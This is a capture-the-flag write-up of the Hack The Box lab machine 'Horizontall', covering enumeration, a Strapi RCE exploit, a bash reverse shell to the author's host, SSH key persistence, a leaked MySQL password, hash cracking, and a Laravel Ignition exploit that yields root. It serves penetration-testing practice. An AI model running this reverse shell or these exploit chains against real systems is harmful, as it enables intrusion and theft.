Horizontall
Personal Rating: Medium
sudo nmap -A -p- -oA nmap-horizontall 10.10.11.105
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-title: Did not follow redirect to http://horizontall.htb
|_http-server-header: nginx/1.14.0 (Ubuntu)We are redirected to horizontall.htb when giving the IP
At the bottom there is a contact form:
The site does not have cookies.
https://horizontall.htb does not connect.
Checking with Burpsuite, the contact form does not send anything.
According to Wappalyzer the site uses: Ubuntu, Nginx 1.14.0, Webpack and core-js 3.13.1
Simple webdir/file scan:
feroxbuster -u http://horizontall.htb
http://horizontall.htb/js/app.c68eb462.js
VHost scan:
ffuf -u http://horizontall.htb -H 'Host: FUZZ.horizontall.htb' -w /usr/share/seclists/Discovery/DNS/dns-Jhaddix.txt -t 64 -fs 194
api-prod
Checking some extensions, index.html works, so it's a static page as it seems.
In one of the js files “Vue.js v2.6.12” is mentioned.
For the OpenSSH version there is a username enumeration according to searchsploit, but nothing really interesting.
Adding the Domain I found with the VHost scan to my hosts file, I can access it:
feroxbuster -u http://api-prod.horizontall.htb/
This quickly found somthing:
/admin
/admin/layout
/admin/init
/reviews
/users
So Strapi is the CMS. The site also uses styled-components 4.4.1 and React.
Searching for strapi, there is a striking vulnerability:
Strapi RCE
This seems to be the way as the exploit worked to get a valid token
authenticated JSON Web Token:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNzA1NDA1MTc5LCJleHAiOjE3MDc5OTcxNzl9.-6PxktG8qMTglMPv2PYTPQDrzc6bb7oIG01Ml8DzC9MI tried some commands in the exploit shell and this one worked to get a netcat shell:
bash -c 'bash -i >& /dev/tcp/10.10.16.4/4444 0>&1'
I added my public ssh key for persistence, which worked to get ssh access.
Internal Enumeration
The user is strapi and his home is /opt/strapi. sudo -l does not work and he has no special groups.
ss -tlpn reveils that port 1337 and port 3306 (mysql) are internally listening. 1337 comes from the exploit, but the database might be of interest.
In /home there is the user ‘developer’.
uname -a: Linux horizontall 4.15.0-154-generic
I transferred linpeas.sh onto /opt/strapi/ with wget, made it executable with chmod +x and executed it
CVE-2021-4034 might work
strapi 1879 0.0 2.5 883716 51924 ? Ssl Jan15 0:12 PM2 v4.5.6: God Daemon (/opt/strapi/.pm2)
══╣ Possible private SSH keys were found!
/opt/strapi/myapi/node_modules/spdy/test/fixtures.js
/opt/strapi/myapi/node_modules/selfsigned/README.md
/opt/strapi/myapi/node_modules/nodemailer-fetch/test/fetch-test.js
/opt/strapi/myapi/node_modules/public-encrypt/test/rsa.1024.priv
/opt/strapi/myapi/node_modules/public-encrypt/test/test_key.pem
/opt/strapi/myapi/node_modules/public-encrypt/test/rsa.pass.priv
/opt/strapi/myapi/node_modules/public-encrypt/test/pass.1024.priv
/opt/strapi/myapi/node_modules/public-encrypt/test/rsa.2028.priv
/opt/strapi/myapi/node_modules/public-encrypt/test/ec.priv
/opt/strapi/myapi/node_modules/public-encrypt/test/test_rsa_privkey_encrypted.pem
/opt/strapi/myapi/node_modules/public-encrypt/test/test_rsa_privkey.pem
/opt/strapi/myapi/node_modules/public-encrypt/test/ec.pass.priv
/opt/strapi/myapi/node_modules/request/node_modules/http-signature/http_signing.md
/opt/strapi/myapi/node_modules/http-signature/http_signing.md
- /tmp/tmux-1001
- -rw-rw-r-- 1 strapi strapi 351 May 26 2021 /opt/strapi/myapi/config/environments/development/database.json
{
"defaultConnection": "default",
"connections": {
"default": {
"connector": "strapi-hook-bookshelf",
"settings": {
"client": "mysql",
"database": "strapi",
"host": "127.0.0.1",
"port": 3306,
"username": "developer",
"password": "#J!:F9Zt2u"
},
"options": {}
}
}
}There we go, we have a password.
I could log in with mysql -u developer -p
use strapi;
show tables;
select * from strapi_administrator;
admin:$2a$10$5ifT08Gg.vNohDdl33qY..eiL77hPRKPdsaj7zFqCa8TZez6JN4s2hashcat --help | grep -i blowfish
3200 | bcrypt $2*$, Blowfish (Unix) | Operating System
hashcat -a 0 -m 3200 '$2a$10$5ifT08Gg.vNohDdl33qY..eiL77hPRKPdsaj7zFqCa8TZez6JN4s2' /usr/share/seclists/Passwords/rockyou.txt
This would take 9h, even on my GPU.
In my ss -tlpn output I overlooked that there is port 8000 open, which is unusual. I will start an ssh dynamic port forwarding and see whats on this port. Before that I will have a look at the database again.
Internal Website Enumeration
ssh -D 9050 -i id_ed25519 root@10.10.11.105
proxychains nmap -A -p 8000 localhost
PORT STATE SERVICE VERSION
8000/tcp open http (PHP 7.4.22)
|_http-title: Laravel
| GetRequest:
| HTTP/1.0 200 OK
| Date: Wed, 17 Jan 2024 11:27:44 GMT
| Connection: close
| X-Powered-By: PHP/7.4.22
| Content-Type: text/html; charset=UTF-8
| Cache-Control: private, must-revalidate
Set-Cookie: laravel_session=eyJpdiI6IkkrMU91TVUyUW0vaTlMTFNTTURkVGc9PSIsInZhbHVlIjoiNnlFQ29CUjlMbmUvYjRZQXFDSk9rMXdNbUdTT3R4MjBLSHF6THQxK0pOTXQ2TC9BVWxkVUNhRGpRWkg3Z09VVWpHK0h4TGxvTDFyVmhwNUVKUjF0ODhhamw3TW04b1dxZzdnVW5DV1
Set-Cookie: XSRF-TOKEN=eyJpdiI6IllXTjVPMXpWaU9wRDE2ZkwrR25zOWc9PSIsInZhbHVlIjoid1pNT1JrcDdEOEluak1UYWpJdlZlaDdWNzh2Q0RrVUpOWEZBcHJvOVN4dDZySXZ4QlJVeWZuRHV6anRVck5PYkJsZTQ0WFRuNndWMkRjeFFzamlCM3cySlpSVXMvcVVjWk1UMlRrT29yRWRBeHB0ZkZ3Rld2RUNDM0dFQXMxK2MiLCJtYWMiOiJmNjMxOWE1Y2FjMTcyZjg1ZDZhN2Y0NTliMzYyNWM3ZmJjZWNiMTVkMzU1MzJkNzFmODhkOGY2YzY5ZGJmYTQ1In0%3DI did not manage to establish a proxied connection to the server with a browser at first, but a simple proxychains curl http://127.0.0.1:8000/ revealed this:
Laravel v8 (PHP v7.4.18)
searchsploit does not return anything for Laravel v8. A web search shows a possible RCE for some Laravel 8 versions. I will try this: https://www.exploit-db.com/exploits/49424
Laravel RCE
After downloading the necessary dependency I attempted the exploitatoin with this:
proxychains python3 exploit.py http://127.0.0.1:8000 /var/www/html/laravel/storage/logs/laravel.log 'id'
Since this did not work because of network issues, I transferred the exploit onto the host and executed it there.
This did not work either, as it seems, again because of some networking issues.
For some reason, proxychains curl http://127.0.0.1:8000 works, but using a proxy in the browser does not.
Finally, I could make it work, there was just a misconfiguration in the browser settings.
I had to set the socks5 proxy 127.0.0.1:9050 in the browser after setting localhost proxy manipulation protection to off in about:config
feroxbuster --proxy socks5://127.0.0.1:9050 -u http://127.0.0.1:8000/ -C 404 -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
ls -lRha | grep -i laravel
I could now try the exploit again, but I noticed that there is no laravel log file, so It will not work anyways. I searched the entire system and there are no files with laravel in the name.
This looks promising, I might have to make the server create a log first.
According to the article, the test for vulnerability worked and the following command returned the right error:
curl -d '{"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "test", "viewFile": "/etc/passwd%00"}}' -H 'Content-Type: application/json' http://127.0.0.1:8000/_ignition/execute-solution | grep failed
Then the guide suggest clearing the log file like this:
curl -H 'Content-Type: application/json' -X POST -d '{"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "test", "viewFile": "php://filter/read=consumed/resource=/src/storage/logs/laravel.log"}}' http://127.0.0.1:8000/_ignition/execute-solution
This returned a ton of output and also revealed the folder /home/developer/myproject/vendor/laravel
Since I finally know the laravel folder, I might try the other exploit from exploitdb again.
I retrieved this on my host: git clone https://github.com/ambionics/phpggc.git and made a tarball of it and transferred it onto the target with a python server and wget. I then executed the python exploit again, but it did not work, so I will continue to follow the guide.
python3 exploit.py http://127.0.0.1:8000 /home/developer/myproject/vendor/laravel/storage/logs/laravel.log ‘id’
I will poke around more to find the log location
Got it!
python3 exploit.py http://127.0.0.1:8000 /home/developer/myproject/storage/logs/laravel.log 'id'
Exploit...
uid=0(root) gid=0(root) groups=0(root)Last updated